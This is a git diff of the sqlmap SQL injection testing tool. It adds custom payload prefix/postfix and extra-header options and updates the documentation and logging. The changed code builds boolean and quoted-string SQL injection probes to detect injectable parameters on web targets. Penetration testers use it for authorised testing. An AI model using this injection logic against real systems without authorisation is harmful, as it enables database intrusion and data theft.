diff --git a/doc/ChangeLog b/doc/ChangeLog index a015b35a6..95a84c58e 100644 --- a/doc/ChangeLog +++ b/doc/ChangeLog @@ -27,10 +27,11 @@ sqlmap (0.6.3-1) stable; urgency=low * Minor enhancemet to support also --regexp, --excl-str and --excl-reg options rather than only --string when comparing HTTP responses page content; + * Minor enhancement to be able to specify extra HTTP headers by providing + option --headers. By default Accept, Accept-Language and Accept-Charset + headers are set; * Minor improvement to be able to provide CU (as current user) as user value (-U) when enumerating users privileges or users passwords; - * Minor improvement to set by default in all HTTP requests the standard - client HTTP headers (Accept, Accept-Encoding, etc); * Minor improvements to sqlmap Debian package files: sqlmap uploaded to official Debian project repository, on queue at the moment; * Minor improvement to use Python psyco (http://psyco.sourceforge.net/) diff --git a/doc/README.html b/doc/README.html index bdc54239e..e065b5464 100644 --- a/doc/README.html +++ b/doc/README.html @@ -377,6 +377,7 @@ Options: --referer=REFERER HTTP Referer header --user-agent=AGENT HTTP User-Agent header -a USERAGENTSFILE Load a random HTTP User-Agent header from file + --headers=HEADERS Extra HTTP headers '\n' separated --auth-type=ATYPE HTTP Authentication type, value: Basic or Digest --auth-cred=ACRED HTTP Authentication credentials, value: name:password --proxy=PROXY Use a HTTP proxy to connect to the target url @@ -386,8 +387,14 @@ Options: Injection: -p TESTPARAMETER Testable parameter(s) - --string=STRING String to match in page when the query is valid --dbms=DBMS Force back-end DBMS to this value + --prefix=PREFIX Injection payload prefix string + --postfix=POSTFIX Injection payload postfix string + --string=STRING String to match in page when the query is valid + --regexp=REGEXP Regexp to match in page when the query is valid + --excl-str=ESTRING String to be excluded before calculating page hash + --excl-reg=EREGEXP Regexp matches to be excluded before calculating page + hash Techniques: These options can be used to test for specific SQL injection technique @@ -1263,11 +1270,66 @@ back-end DBMS: MySQL >= 5.0.0

-

String match

+

Force the database management system name

-

Option: --string

+

Option: --dbms

-

By default the distinction of a True query by a False one (basic concept +

By default sqlmap automatically detects the web application's back-end +database manangement system. +At the moment the fully supported database management system are four:

+

+

+

+ +

It is possible to force the name if you already know it so that sqlmap +will skip the fingerprint with an exception for MySQL to only identify if +it is MySQL < 5.0 or MySQL >= 5.0. +To avoid also this check you can provide instead MySQL 4 or +MySQL 5.

+

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \
+  --dbms "PostgreSQL"
+
+[...]
+[hh:mm:31] [DEBUG] skipping to test for MySQL
+[hh:mm:31] [DEBUG] skipping to test for Oracle
+back-end DBMS:    PostgreSQL
+
+
+

+ +

In case you provide --fingerprint together with --dbms, +sqlmap will only perform the extensive fingerprint for the specified +database management system, read the following section for further +details.

+ +

Note that this option is not mandatory and it is strongly +recommended to use it only if you are absolutely sure about the +back-end database management system. If you do not know it, let sqlmap +automatically identify it for you.

+ + +

Custom injection payload

+ +

Options: --prefix and --postfix

+ +

TODO

+ + +

Page comparison

+ +

Options: --string and --regexp

+ +

TODO +By default the distinction of a True query by a False one (basic concept for standard blind SQL injection attacks) is done comparing injected pages content MD5 hash with the original not-injected page content MD5. Not always this concept works because sometimes the page content changes at @@ -1410,53 +1472,6 @@ content that changes itself at each refresh without modifying the user's input.

-

Force the database management system name

- -

Option: --dbms

- -

By default sqlmap automatically detects the web application's back-end -database manangement system. -At the moment the fully supported database management system are four:

-

-

-

- -

It is possible to force the name if you already know it so that sqlmap -will skip the fingerprint with an exception for MySQL to only identify if -it is MySQL < 5.0 or MySQL >= 5.0. -To avoid also this check you can provide instead MySQL 4 or -MySQL 5.

-

Example on a PostgreSQL 8.2.7 target:

-

-

-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \
-  --dbms "PostgreSQL"
-
-[...]
-[hh:mm:31] [DEBUG] skipping to test for MySQL
-[hh:mm:31] [DEBUG] skipping to test for Oracle
-back-end DBMS:    PostgreSQL
-
-
-

- -

In case you provide --fingerprint together with --dbms, -sqlmap will only perform the extensive fingerprint for the specified -database management system, read the following section for further -details.

- -

Note that this option is not mandatory and it is strongly -recommended to use it only if you are absolutely sure about the -back-end database management system. If you do not know it, let sqlmap -automatically identify it for you.

- -

5.4 Techniques

diff --git a/doc/README.pdf b/doc/README.pdf index cf0e1ba9e..58a8c8bd1 100644 Binary files a/doc/README.pdf and b/doc/README.pdf differ diff --git a/doc/README.sgml b/doc/README.sgml index e339e284f..90cfa150b 100644 --- a/doc/README.sgml +++ b/doc/README.sgml @@ -335,6 +335,7 @@ Options: --referer=REFERER HTTP Referer header --user-agent=AGENT HTTP User-Agent header -a USERAGENTSFILE Load a random HTTP User-Agent header from file + --headers=HEADERS Extra HTTP headers '\n' separated --auth-type=ATYPE HTTP Authentication type, value: Basic or Digest --auth-cred=ACRED HTTP Authentication credentials, value: name:password --proxy=PROXY Use a HTTP proxy to connect to the target url @@ -344,8 +345,14 @@ Options: Injection: -p TESTPARAMETER Testable parameter(s) - --string=STRING String to match in page when the query is valid --dbms=DBMS Force back-end DBMS to this value + --prefix=PREFIX Injection payload prefix string + --postfix=POSTFIX Injection payload postfix string + --string=STRING String to match in page when the query is valid + --regexp=REGEXP Regexp to match in page when the query is valid + --excl-str=ESTRING String to be excluded before calculating page hash + --excl-reg=EREGEXP Regexp matches to be excluded before calculating page + hash Techniques: These options can be used to test for specific SQL injection technique @@ -1205,12 +1212,71 @@ back-end DBMS: MySQL >= 5.0.0 -String match +Force the database management system name

-Option: --string +Option: --dbms

+By default sqlmap automatically detects the web application's back-end +database manangement system. +At the moment the fully supported database management system are four: + + +MySQL +Oracle +PostgreSQL +Microsoft SQL Server + + +

+It is possible to force the name if you already know it so that sqlmap +will skip the fingerprint with an exception for MySQL to only identify if +it is MySQL < 5.0 or MySQL >= 5.0. +To avoid also this check you can provide instead MySQL 4 or +MySQL 5. + +Example on a PostgreSQL 8.2.7 target: + + +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \ + --dbms "PostgreSQL" + +[...] +[hh:mm:31] [DEBUG] skipping to test for MySQL +[hh:mm:31] [DEBUG] skipping to test for Oracle +back-end DBMS: PostgreSQL + + +

+In case you provide --fingerprint together with --dbms, +sqlmap will only perform the extensive fingerprint for the specified +database management system, read the following section for further +details. + +

+Note that this option is not mandatory and it is strongly +recommended to use it only if you are absolutely sure about the +back-end database management system. If you do not know it, let sqlmap +automatically identify it for you. + + +Custom injection payload + +

+Options: --prefix and --postfix + +

+TODO + + +Page comparison + +

+Options: --string and --regexp + +

+TODO By default the distinction of a True query by a False one (basic concept for standard blind SQL injection attacks) is done comparing injected pages content MD5 hash with the original not-injected page content MD5. Not @@ -1354,55 +1420,6 @@ content that changes itself at each refresh without modifying the user's input. -Force the database management system name - -

-Option: --dbms - -

-By default sqlmap automatically detects the web application's back-end -database manangement system. -At the moment the fully supported database management system are four: - - -MySQL -Oracle -PostgreSQL -Microsoft SQL Server - - -

-It is possible to force the name if you already know it so that sqlmap -will skip the fingerprint with an exception for MySQL to only identify if -it is MySQL < 5.0 or MySQL >= 5.0. -To avoid also this check you can provide instead MySQL 4 or -MySQL 5. - -Example on a PostgreSQL 8.2.7 target: - - -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \ - --dbms "PostgreSQL" - -[...] -[hh:mm:31] [DEBUG] skipping to test for MySQL -[hh:mm:31] [DEBUG] skipping to test for Oracle -back-end DBMS: PostgreSQL - - -

-In case you provide --fingerprint together with --dbms, -sqlmap will only perform the extensive fingerprint for the specified -database management system, read the following section for further -details. - -

-Note that this option is not mandatory and it is strongly -recommended to use it only if you are absolutely sure about the -back-end database management system. If you do not know it, let sqlmap -automatically identify it for you. - - Techniques Test for Time Based blind SQL injection diff --git a/doc/THANKS b/doc/THANKS index 9388c9202..3f22f9c27 100644 --- a/doc/THANKS +++ b/doc/THANKS @@ -108,6 +108,9 @@ Richard Safran Tomoyuki Sakurai for submitting to the FreeBSD project the sqlmap 0.5 port +Philippe A. R. Schaeffer + for reporting a minor bug + Sven Schluter for providing with a patch for waiting a number of seconds between each HTTP request diff --git a/lib/controller/checks.py b/lib/controller/checks.py index db0a64fbb..123f9bbc8 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -49,13 +49,49 @@ def checkSqlInjection(place, parameter, value, parenthesis): * Double quoted string injection """ - logMsg = "testing unescaped numeric injection " - logMsg += "on %s parameter '%s'" % (place, parameter) - logger.info(logMsg) - randInt = randomInt() randStr = randomStr() + if conf.prefix or conf.postfix: + prefix = "" + postfix = "" + + if conf.prefix: + prefix = conf.prefix + + if conf.postfix: + postfix = conf.postfix + + infoMsg = "testing custom injection " + infoMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(infoMsg) + + payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix)) + trueResult = Request.queryPage(payload, place) + + if trueResult == kb.defaultResult: + payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix)) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + infoMsg = "confirming custom injection " + infoMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(infoMsg) + + payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix)) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + infoMsg = "%s parameter '%s' is " % (place, parameter) + infoMsg += "custom injectable " + logger.info(infoMsg) + + return "custom" + + infoMsg = "testing unescaped numeric injection " + infoMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(infoMsg) + payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt)) trueResult = Request.queryPage(payload, place) @@ -64,28 +100,28 @@ def checkSqlInjection(place, parameter, value, parenthesis): falseResult = Request.queryPage(payload, place) if falseResult != kb.defaultResult: - logMsg = "confirming unescaped numeric injection " - logMsg += "on %s parameter '%s'" % (place, parameter) - logger.info(logMsg) + infoMsg = "confirming unescaped numeric injection " + infoMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(infoMsg) payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) falseResult = Request.queryPage(payload, place) if falseResult != kb.defaultResult: - logMsg = "%s parameter '%s' is " % (place, parameter) - logMsg += "unescaped numeric injectable " - logMsg += "with %d parenthesis" % parenthesis - logger.info(logMsg) + infoMsg = "%s parameter '%s' is " % (place, parameter) + infoMsg += "unescaped numeric injectable " + infoMsg += "with %d parenthesis" % parenthesis + logger.info(infoMsg) return "numeric" - logMsg = "%s parameter '%s' is not " % (place, parameter) - logMsg += "unescaped numeric injectable" - logger.info(logMsg) + infoMsg = "%s parameter '%s' is not " % (place, parameter) + infoMsg += "unescaped numeric injectable" + logger.info(infoMsg) - logMsg = "testing single quoted string injection " - logMsg += "on %s parameter '%s'" % (place, parameter) - logger.info(logMsg) + infoMsg = "testing single quoted string injection " + infoMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(infoMsg) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) trueResult = Request.queryPage(payload, place) @@ -95,28 +131,28 @@ def checkSqlInjection(place, parameter, value, parenthesis): falseResult = Request.queryPage(payload, place) if falseResult != kb.defaultResult: - logMsg = "confirming single quoted string injection " - logMsg += "on %s parameter '%s'" % (place, parameter) - logger.info(logMsg) + infoMsg = "confirming single quoted string injection " + infoMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(infoMsg) payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) falseResult = Request.queryPage(payload, place) if falseResult != kb.defaultResult: - logMsg = "%s parameter '%s' is " % (place, parameter) - logMsg += "single quoted string injectable " - logMsg += "with %d parenthesis" % parenthesis - logger.info(logMsg) + infoMsg = "%s parameter '%s' is " % (place, parameter) + infoMsg += "single quoted string injectable " + infoMsg += "with %d parenthesis" % parenthesis + logger.info(infoMsg) return "stringsingle" - logMsg = "%s parameter '%s' is not " % (place, parameter) - logMsg += "single quoted string injectable" - logger.info(logMsg) + infoMsg = "%s parameter '%s' is not " % (place, parameter) + infoMsg += "single quoted string injectable" + logger.info(infoMsg) - logMsg = "testing LIKE single quoted string injection " - logMsg += "on %s parameter '%s'" % (place, parameter) - logger.info(logMsg) + infoMsg = "testing LIKE single quoted string injection " + infoMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(infoMsg) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) trueResult = Request.queryPage(payload, place) @@ -126,28 +162,28 @@ def checkSqlInjection(place, parameter, value, parenthesis): falseResult = Request.queryPage(payload, place) if falseResult != kb.defaultResult: - logMsg = "confirming LIKE single quoted string injection " - logMsg += "on %s parameter '%s'" % (place, parameter) - logger.info(logMsg) + infoMsg = "confirming LIKE single quoted string injection " + infoMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(infoMsg) payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) falseResult = Request.queryPage(payload, place) if falseResult != kb.defaultResult: - logMsg = "%s parameter '%s' is " % (place, parameter) - logMsg += "LIKE single quoted string injectable " - logMsg += "with %d parenthesis" % parenthesis - logger.info(logMsg) + infoMsg = "%s parameter '%s' is " % (place, parameter) + infoMsg += "LIKE single quoted string injectable " + infoMsg += "with %d parenthesis" % parenthesis + logger.info(infoMsg) return "likesingle" - logMsg = "%s parameter '%s' is not " % (place, parameter) - logMsg += "LIKE single quoted string injectable" - logger.info(logMsg) + infoMsg = "%s parameter '%s' is not " % (place, parameter) + infoMsg += "LIKE single quoted string injectable" + logger.info(infoMsg) - logMsg = "testing double quoted string injection " - logMsg += "on %s parameter '%s'" % (place, parameter) - logger.info(logMsg) + infoMsg = "testing double quoted string injection " + infoMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(infoMsg) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) trueResult = Request.queryPage(payload, place) @@ -157,28 +193,28 @@ def checkSqlInjection(place, parameter, value, parenthesis): falseResult = Request.queryPage(payload, place) if falseResult != kb.defaultResult: - logMsg = "confirming double quoted string injection " - logMsg += "on %s parameter '%s'" % (place, parameter) - logger.info(logMsg) + infoMsg = "confirming double quoted string injection " + infoMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(infoMsg) payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) falseResult = Request.queryPage(payload, place) if falseResult != kb.defaultResult: - logMsg = "%s parameter '%s' is " % (place, parameter) - logMsg += "double quoted string injectable " - logMsg += "with %d parenthesis" % parenthesis - logger.info(logMsg) + infoMsg = "%s parameter '%s' is " % (place, parameter) + infoMsg += "double quoted string injectable " + infoMsg += "with %d parenthesis" % parenthesis + logger.info(infoMsg) return "stringdouble" - logMsg = "%s parameter '%s' is not " % (place, parameter) - logMsg += "double quoted string injectable" - logger.info(logMsg) + infoMsg = "%s parameter '%s' is not " % (place, parameter) + infoMsg += "double quoted string injectable" + logger.info(infoMsg) - logMsg = "testing LIKE double quoted string injection " - logMsg += "on %s parameter '%s'" % (place, parameter) - logger.info(logMsg) + infoMsg = "testing LIKE double quoted string injection " + infoMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(infoMsg) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) trueResult = Request.queryPage(payload, place) @@ -188,24 +224,24 @@ def checkSqlInjection(place, parameter, value, parenthesis): falseResult = Request.queryPage(payload, place) if falseResult != kb.defaultResult: - logMsg = "confirming LIKE double quoted string injection " - logMsg += "on %s parameter '%s'" % (place, parameter) - logger.info(logMsg) + infoMsg = "confirming LIKE double quoted string injection " + infoMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(infoMsg) payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) falseResult = Request.queryPage(payload, place) if falseResult != kb.defaultResult: - logMsg = "%s parameter '%s' is " % (place, parameter) - logMsg += "LIKE double quoted string injectable " - logMsg += "with %d parenthesis" % parenthesis - logger.info(logMsg) + infoMsg = "%s parameter '%s' is " % (place, parameter) + infoMsg += "LIKE double quoted string injectable " + infoMsg += "with %d parenthesis" % parenthesis + logger.info(infoMsg) return "likedouble" - logMsg = "%s parameter '%s' is not " % (place, parameter) - logMsg += "LIKE double quoted string injectable" - logger.info(logMsg) + infoMsg = "%s parameter '%s' is not " % (place, parameter) + infoMsg += "LIKE double quoted string injectable" + logger.info(infoMsg) return None @@ -217,8 +253,8 @@ def checkDynParam(place, parameter, value): dynamicity might depend on another parameter. """ - logMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter) - logger.info(logMsg) + infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter) + logger.info(infoMsg) randInt = randomInt() payload = agent.payload(place, parameter, value, str(randInt)) @@ -227,8 +263,8 @@ def checkDynParam(place, parameter, value): if kb.defaultResult == dynResult1: return False - logMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter) - logger.info(logMsg) + infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter) + logger.info(infoMsg) payload = agent.payload(place, parameter, value, "'%s" % randomStr()) dynResult2 = Request.queryPage(payload, place) @@ -253,8 +289,8 @@ def checkStability(): like for instance string matching (--string). """ - logMsg = "testing if the url is stable, wait a few seconds" - logger.info(logMsg) + infoMsg = "testing if the url is stable, wait a few seconds" + logger.info(infoMsg) firstResult = Request.queryPage() time.sleep(0.5) @@ -283,9 +319,9 @@ def checkString(): if condition: return True - logMsg = "testing if the provided string is within the " - logMsg += "target URL page content" - logger.info(logMsg) + infoMsg = "testing if the provided string is within the " + infoMsg += "target URL page content" + logger.info(infoMsg) page = Request.queryPage(content=True) @@ -302,8 +338,8 @@ def checkString(): def checkConnection(): - logMsg = "testing connection to the target url" - logger.info(logMsg) + infoMsg = "testing connection to the target url" + logger.info(infoMsg) try: kb.defaultResult = Request.queryPage() diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 6a3751e0b..201fd4260 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -214,6 +214,7 @@ def start(): if injType: injData.append((place, parameter, injType)) + kb.parenthesis = parenthesis break else: diff --git a/lib/core/agent.py b/lib/core/agent.py index 40cb23aaa..34148ea72 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -91,17 +91,20 @@ class Agent: query = "" - if kb.injType == "numeric": - pass - elif kb.injType in ( "stringsingle", "likesingle" ): - query = "'" - elif kb.injType in ( "stringdouble", "likedouble" ): - query = "\"" + if conf.prefix: + query = conf.prefix else: - raise sqlmapNoneDataException, "unsupported injection type" + if kb.injType == "numeric": + pass + elif kb.injType in ( "stringsingle", "likesingle" ): + query = "'" + elif kb.injType in ( "stringdouble", "likedouble" ): + query = "\"" + else: + raise sqlmapNoneDataException, "unsupported injection type" - if kb.parenthesis not in ( None, 0 ): - query += "%s " % (")" * kb.parenthesis) + if kb.parenthesis not in ( None, 0 ): + query += "%s " % (")" * kb.parenthesis) query += string @@ -118,25 +121,28 @@ class Agent: randStr = randomStr() if comment: - string += "%s" % comment + string += comment - if kb.parenthesis != None: - string += " AND %s" % ("(" * kb.parenthesis) + if conf.postfix: + string += " %s" % conf.postfix else: - raise sqlmapNoneDataException, "unable to get the number of parenthesis" + if kb.parenthesis != None: + string += " AND %s" % ("(" * kb.parenthesis) + else: + raise sqlmapNoneDataException, "unable to get the number of parenthesis" - if kb.injType == "numeric": - string += "%d=%d" % (randInt, randInt) - elif kb.injType == "stringsingle": - string += "'%s'='%s" % (randStr, randStr) - elif kb.injType == "likesingle": - string += "'%s' LIKE '%s" % (randStr, randStr) - elif kb.injType == "stringdouble": - string += "\"%s\"=\"%s" % (randStr, randStr) - elif kb.injType == "likedouble": - string += "\"%s\" LIKE \"%s" % (randStr, randStr) - else: - raise sqlmapNoneDataException, "unsupported injection type" + if kb.injType == "numeric": + string += "%d=%d" % (randInt, randInt) + elif kb.injType == "stringsingle": + string += "'%s'='%s" % (randStr, randStr) + elif kb.injType == "likesingle": + string += "'%s' LIKE '%s" % (randStr, randStr) + elif kb.injType == "stringdouble": + string += "\"%s\"=\"%s" % (randStr, randStr) + elif kb.injType == "likedouble": + string += "\"%s\" LIKE \"%s" % (randStr, randStr) + else: + raise sqlmapNoneDataException, "unsupported injection type" return string diff --git a/lib/core/option.py b/lib/core/option.py index 1bc367148..4b7160cef 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -94,6 +94,9 @@ def __feedTargetsDict(reqFile, addedTargetUrls): if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I): continue + if re.search("^[\n]*(GET|POST).*?\.(gif|jpg|png)\sHTTP\/", request, re.I): + continue + getPostReq = False url = None host = None @@ -235,9 +238,9 @@ def __setGoogleDorking(): raise sqlmapGenericException, errMsg -def __setRemoteDBMS(): +def __setDBMS(): """ - Checks and set the back-end DBMS option. + Force the back-end DBMS option. """ if not conf.dbms: @@ -384,11 +387,23 @@ def __setHTTPMethod(): logger.debug(debugMsg) -def __setHTTPStandardHeaders(): - conf.httpHeaders.append(("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")) - conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5")) - conf.httpHeaders.append(("Accept-Encoding", "gzip,deflate")) - conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7")) +def __setHTTPExtraHeaders(): + if conf.headers: + debugMsg = "setting extra HTTP headers" + logger.debug(debugMsg) + + conf.headers = conf.headers.split("\n") + + for headerValue in conf.headers: + header, value = headerValue.split(": ") + + if header and value: + conf.httpHeaders.append((header, value)) + + else: + conf.httpHeaders.append(("Accept", "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5")) + conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5")) + conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7")) def __defaultHTTPUserAgent(): @@ -646,6 +661,9 @@ def __saveCmdline(): elif datatype == "string": value = "" + if isinstance(value, str): + value = value.replace("\n", "\n ") + confFP.write("%s = %s\n" % (option, value)) confFP.write("\n") @@ -712,12 +730,12 @@ def init(inputOptions=advancedDict()): __setHTTPCookies() __setHTTPReferer() __setHTTPUserAgent() - __setHTTPStandardHeaders() + __setHTTPExtraHeaders() __setHTTPMethod() __setHTTPAuthentication() __setHTTPProxy() __setThreads() - __setRemoteDBMS() + __setDBMS() __setGoogleDorking() __setMultipleTargets() __urllib2Opener() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 07dc6d165..caae58f28 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -39,6 +39,7 @@ optDict = { "referer": "string", "agent": "string", "userAgentsFile": "string", + "headers": "string", "aType": "string", "aCred": "string", "proxy": "string", @@ -50,6 +51,8 @@ optDict = { "Injection": { "testParameter": "string", "dbms": "string", + "prefix": "string", + "postfix": "string", "string": "string", "regexp": "string", "eString": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index d0f79902d..3b56ec9a9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -30,7 +30,7 @@ import sys # sqlmap version and site -VERSION = "0.6.3-rc4" +VERSION = "0.6.3-rc5" VERSION_STRING = "sqlmap/%s" % VERSION SITE = "http://sqlmap.sourceforge.net" diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index cdeb7e213..dc5d5dc04 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -57,6 +57,7 @@ def cmdLineParser(): target.add_option("-c", dest="configFile", help="Load options from a configuration INI file") + # Request options request = OptionGroup(parser, "Request", "These options can be used " "to specify how to connect to the target url.") @@ -80,6 +81,9 @@ def cmdLineParser(): help="Load a random HTTP User-Agent " "header from file") + request.add_option("--headers", dest="headers", + help="Extra HTTP headers '\\n' separated") + request.add_option("--auth-type", dest="aType", help="HTTP Authentication type, value: " "Basic or Digest") @@ -112,6 +116,12 @@ def cmdLineParser(): injection.add_option("--dbms", dest="dbms", help="Force back-end DBMS to this value") + injection.add_option("--prefix", dest="prefix", + help="Injection payload prefix string") + + injection.add_option("--postfix", dest="postfix", + help="Injection payload postfix string") + injection.add_option("--string", dest="string", help="String to match in page when the " "query is valid") @@ -128,6 +138,7 @@ def cmdLineParser(): help="Regexp matches to be excluded before " "calculating page hash") + # Techniques options techniques = OptionGroup(parser, "Techniques", "These options can " "be used to test for specific SQL injection " @@ -149,6 +160,7 @@ def cmdLineParser(): "to retrieve the queries output. No " "need to go blind") + # Fingerprint options fingerprint = OptionGroup(parser, "Fingerprint") @@ -156,6 +168,7 @@ def cmdLineParser(): action="store_true", help="Perform an extensive DBMS version fingerprint") + # Enumeration options enumeration = OptionGroup(parser, "Enumeration", "These options can " "be used to enumerate the back-end database " @@ -232,6 +245,7 @@ def cmdLineParser(): action="store_true", help="Prompt for an interactive SQL shell") + # File system options filesystem = OptionGroup(parser, "File system access", "These options " "can be used to access the back-end database " @@ -245,6 +259,7 @@ def cmdLineParser(): filesystem.add_option("--write-file", dest="wFile", help="Write to a specific OS file (not yet available)") + # Takeover options takeover = OptionGroup(parser, "Operating system access", "This " "option can be used to access the back-end " @@ -258,6 +273,7 @@ def cmdLineParser(): "writable directory within the web " "server document root for the moment)") + # Miscellaneous options miscellaneous = OptionGroup(parser, "Miscellaneous") @@ -282,6 +298,7 @@ def cmdLineParser(): miscellaneous.add_option("--batch", dest="batch", action="store_true", help="Never ask for user input, use the default behaviour") + parser.add_option_group(target) parser.add_option_group(request) parser.add_option_group(injection) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 3fc021a43..ae11f8b2f 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -28,13 +28,12 @@ import md5 import re from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger def comparison(page, headers=None, content=False): regExpResults = None + # String to be excluded before calculating page hash if conf.eString and conf.eString in page: index = page.index(conf.eString) length = len(conf.eString) @@ -42,28 +41,32 @@ def comparison(page, headers=None, content=False): pageWithoutString += page[index+length:] page = pageWithoutString + # Regular expression matches to be excluded before calculating page hash if conf.eRegexp: regExpResults = re.findall(conf.eRegexp, page, re.I | re.M) - if conf.eRegexp and regExpResults: - for regExpResult in regExpResults: - index = page.index(regExpResult) - length = len(regExpResult) - pageWithoutRegExp = page[:index] - pageWithoutRegExp += page[index+length:] - page = pageWithoutRegExp + if regExpResults: + for regExpResult in regExpResults: + index = page.index(regExpResult) + length = len(regExpResult) + pageWithoutRegExp = page[:index] + pageWithoutRegExp += page[index+length:] + page = pageWithoutRegExp + # String to match in page when the query is valid if conf.string: if conf.string in page: return True else: return False - elif conf.regexp: + # Regular expression to match in page when the query is valid + if conf.regexp: if re.search(conf.regexp, page, re.I | re.M): return True else: return False + # By default it returns the page content MD5 hash else: return md5.new(page).hexdigest() diff --git a/lib/utils/parenthesis.py b/lib/utils/parenthesis.py index 4c2aeb192..0d9625014 100644 --- a/lib/utils/parenthesis.py +++ b/lib/utils/parenthesis.py @@ -27,6 +27,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA from lib.core.agent import agent from lib.core.common import randomInt from lib.core.common import randomStr +from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapNoneDataException @@ -40,14 +41,14 @@ def checkForParenthesis(): is within the parenthesis. """ - if kb.parenthesis != None: - return kb.parenthesis - logMsg = "testing for parenthesis on injectable parameter" logger.info(logMsg) count = 0 + if conf.prefix or conf.postfix: + return + for parenthesis in range(1, 4): query = agent.prefixQuery("%s " % (")" * parenthesis)) query += "AND %s" % ("(" * parenthesis) diff --git a/sqlmap.conf b/sqlmap.conf index 99925af62..69cefad24 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -3,8 +3,8 @@ # Target URL. # Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 # PHP and MySQL (local) -#url = http://127.0.0.1/sqlmap/mysql/get_int.php?id=1 -url = http://127.0.0.1/sqlmap/mysql/get_int_partialunion.php?id=1 +url = http://127.0.0.1/sqlmap/mysql/get_str.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_int_partialunion.php?id=1 # PHP and Oracle (local) #url = http://127.0.0.1/sqlmap/oracle/get_int.php?id=1 # PHP and PostgreSQL (local) @@ -62,6 +62,12 @@ agent = # Example: ./txt/user-agents.txt userAgentsFile = +# Extra HTTP headers +# Note: there must be a space at the beginning of each header line +headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 + Accept-Language: en-us,en;q=0.5 + Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 + # HTTP Authentication type. Useful only if the target url requires # HTTP Basic or Digest authentication and you have such data. # Valid: Basic or Digest @@ -105,6 +111,12 @@ testParameter = # Valid: mssql, mysql, 